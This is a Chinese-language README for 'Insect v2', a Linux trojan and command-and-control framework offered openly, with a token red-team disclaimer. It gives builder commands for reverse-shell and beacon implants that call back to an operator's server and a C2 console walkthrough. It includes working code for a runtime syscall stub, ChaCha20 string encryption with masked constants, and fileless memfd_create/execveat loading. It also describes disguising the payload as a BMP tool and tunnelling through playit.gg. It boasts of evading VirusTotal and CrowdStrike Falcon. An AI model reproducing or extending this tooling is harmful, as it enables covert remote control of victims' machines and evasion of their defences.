一个无文件反向 shell 和 C2 框架,利用直接系统调用、代理隧道和 ChaCha20 加密来规避 AV。
Insect 是一款用于无文件反弹 shell 与信标 Linux 载荷的 C2 木马。 该木马将自身伪装成 24 位 BMP 图像处理工具。 它使用 动态系统调用桩、memfd_create、ChaCha20 加密字符串资源、隧道代理 和 ICC 配置文件加密器 来规避静态分析。 C2 服务器支持 2 种类型的载荷:交互式 和 信标。
手动构造系统调用是一种古老的技术,但在 Insect v2 中,我改进了运行时构建桩的方式,以躲避现代扫描器的检测。通过动态构造系统调用,载荷能够避开静态杀毒软件通常捕获的标准特征。
在实际测试中,它成功绕过了 VirusTotal 上的所有引擎。我还将其用于对抗 CrowdStrike Falcon,结果获得了“绿灯”,静态引擎未检测到任何威胁。在动态分析期间,它仅引发了一次轻微怀疑,最终也被判定为安全。
免责声明:Insect V2 仍在开发中,同时我不纵容任何非法活动。你可以自由地将其用于红队目的,并对其进行修改。
server.py → 多会话 C2 控制台
main.c → 反弹 shell 植入体(交互式 shell)
main_beacon.c → 信标植入体(任务驱动的轮询)
我们有两种配置文件:
# 交互式反弹 shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# 任务驱动的信标
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
两者都会生成一个 bmputil 二进制文件。构建器在构建时使用 ChaCha20 加密所有明文字符串,使用 ICC 配置文件掩码加密编译后的 ELF,将其拆分到命名的 ELF 节中,并生成一个加载器桩。
python3 server.py
默认在 0.0.0.0:8080 上启动监听器。
(insect) > list # 显示活动会话
(insect) > use rev-a1b2c3d4 # 与反弹 shell 交互
(insect) > task bea-deadbeef whoami # 为信标排队一条命令
(insect) > tasks bea-deadbeef # 查看已完成任务的结果
(insect) > listen beacon 0.0.0.0 9090 # 启动额外的监听器
(insect) > exit
会话通过构建时嵌入的唯一 4 字节静态 ID 进行跟踪。
在目标机器上执行时,载荷接受虚拟参数以保持合法性:
./bmputil input.bmp output.bmp --grayscale
在底层,它会 fork,通过 Minecraft 握手隧道(playit.gg)回连到 C2,并等待 0xDEAD 触发。一旦触发,它会将 stdin/stdout/stderr 重定向到套接字,并生成 /bin/sh。
C2 服务器将会话注册表中的反弹 shell 连接保持住。使用 use <id> 将终端附加到某个会话。
信标连接后,使用其嵌入的 beacon_id 进行注册,检查待处理任务,通过 fork + pipe + execve 执行它们,报告结果,然后休眠 30 秒并重新连接。
使用 task <id> <command> 排队工作。结果存储在内存中,并通过 tasks <id> 查看。
两种配置文件共享相同的规避原语:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
如前所述,系统调用操作码(0F 05)在可执行内存中于运行时构造,以规避静态分析。
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
每个字符串在构建时都使用唯一的 nonce 进行加密。对状态常量进行 XOR 掩码处理,可阻止基于特征的 ChaCha20 设置检测。
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
载荷完全通过 memfd_create + execveat 从内存中执行。
从技术上讲,memfd_create 和 execveat 会被杀毒软件检测到,但它们经过加密并在运行时构建,而且在实际测试中,令人惊讶的是它并未被标记。
中间 ELF 使用经过伽马校正的 ICC 颜色查找表和随机 32 字节密钥进行 XOR 加密,然后拆分到 8 个命名的 .rodata.blk* 节中。加载器桩重新组装、解密并执行它。
这种方法并不新鲜,而是一种古老的技术,但 Insect v2 修改并重新实现了各种安全文章和恶意软件中提到的技术,你可以在这里查看它们: